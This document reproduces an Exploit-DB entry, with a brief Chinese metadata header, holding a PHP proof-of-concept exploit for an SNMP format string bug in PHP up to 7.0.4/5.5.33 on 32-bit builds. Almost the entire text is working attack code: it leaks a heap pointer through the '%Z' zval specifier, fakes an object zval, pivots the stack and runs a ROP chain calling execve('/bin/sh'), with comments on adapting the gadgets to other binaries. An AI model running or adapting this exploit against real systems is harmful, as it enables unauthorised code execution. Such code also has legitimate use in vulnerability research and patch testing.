PHP 5.5.33/7.0.4 – SNMP Format String

  • 作者: Andrew Kramer
    日期: 2016-04-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39645/
  • <?php
    
    // PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)
    // By Andrew Kramer <andrew at jmpesp dot org>
    // Should bypass ASLR/NX just fine
    
    // This exploit utilizes PHP's internal "%Z" (zval)
    // format specifier in order to achieve code-execution.
    // We fake an object-type zval in memory and then bounce
    // through it carefully.First though, we use the same
    // bug to leak a pointer to the string itself.We can
    // then edit the global variable with correct pointers
    // before hitting it a second time to get EIP.This
    // makes it super reliable!Like... 100%.
    // To my knowledge this hasn't really been done before, but
    // credit to Stefan Esser (@i0n1c) for the original idea.It works!
    // https://twitter.com/i0n1c/status/664706994478161920
    
    // All the ROP gadgets are from a binary I compiled myself.
    // If you want to use this yourself, you'll probably need
    // to build a new ROP chain and find new stack pivots for
    // whatever binary you're targeting.If you just want to get
    // EIP, change $stack_pivot_1 to 0x41414141 below.
    
    
    // pass-by-reference here so we keep things tidy
    function trigger(&$format_string) {
    
    	$session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");
    	// you MUST set exceptions_enabled in order to trigger this
    	$session->exceptions_enabled = SNMP::ERRNO_ANY;
    
    	try {
    		$session->get($format_string);
    	} catch (SNMPException $e) {
    		return $e->getMessage();
    	}
    
    }
    
    // overwrite either $payload_{1,2} with $str at $offset
    function overwrite($which, $str, $offset) {
    
    	// these need to be global so PHP doesn't just copy them
    	global $payload_1, $payload_2;
    
    	// we MUST copy byte-by-byte so PHP doesn't realloc
    	for($c=0; $c<strlen($str); $c++) {
    		switch($which) {
    			case 1:
    				$payload_1[$offset + $c] = $str[$c];
    				break;
    			case 2:
    				$payload_2[$offset + $c] = $str[$c];
    				break;
    		}
    	}
    
    }
    
    echo "> Setting up payloads\n";
    
    //$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit
    $stack_pivot_1 = pack("L", 0x0807c19f);	// xchg esp ebx
    $stack_pivot_2 = pack("L", 0x0809740e);	// add esp, 0x14
    
    // this is used at first to leak the pointer to $payload_1
    $leak_str =	str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";
    $trampoline_offset = strlen($leak_str);
    
    // used to leak a pointer and also to store ROP chain
    $payload_1 =
    	$leak_str .						// leak a pointer
    	"XXXX" .						// will be overwritten later
    	$stack_pivot_1 .				// initial EIP (rop start)
    	// ROP: execve('/bin/sh',0,0)
    	pack("L", 0x080f0bb7) .			// xor ecx, ecx; mov eax, ecx
    	pack("L", 0x0814491f) .			// xchg edx, eax
    	pack("L", 0x0806266d) .			// pop ebx
    	pack("L", 0x084891fd) .			// pointer to /bin/sh
    	pack("L", 0x0807114c) .			// pop eax
    	pack("L", 0xfffffff5) .			// -11
    	pack("L", 0x081818de) .			// neg eax
    	pack("L", 0x081b5faa);			// int 0x80
    
    // used to trigger the exploit once we've patched everything
    $payload_2 =
    	"XXXX" .						// will be overwritten later
    	"XXXX" .						// just padding, whatevs
    	"\x08X" .						// zval type OBJECT
    	str_repeat("%d", 13) . "%Z";	// trigger the exploit
    
    // leak a pointer
    echo "> Attempting to leak a pointer\n";
    $data = trigger($payload_1);
    $trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;
    echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n";
    
    // If there are any null bytes or percent signs in the pointer, it will break
    // the -0x10 will be applied later, so do it now too
    if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false
    || strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {
    	echo "> That pointer has a bad character in it\n";
    	echo "> This won't work.Bailing out... :(\n";
    	exit(0);
    }
    
    echo "> Overwriting payload with calculated offsets\n";
    // prepare the trampoline
    // code looks kinda like...
    // mov eax, [eax+0x10]
    // mov eax, [eax+0x54]
    // call eax
    overwrite(2, pack("L", $trampoline_ptr - 0x10), 0);
    overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);
    
    // exploit
    echo "> Attempting to pop a shell\n";
    trigger($payload_2);
    
    // if we make it here, something didn't work
    echo "> Exploit failed :(\n";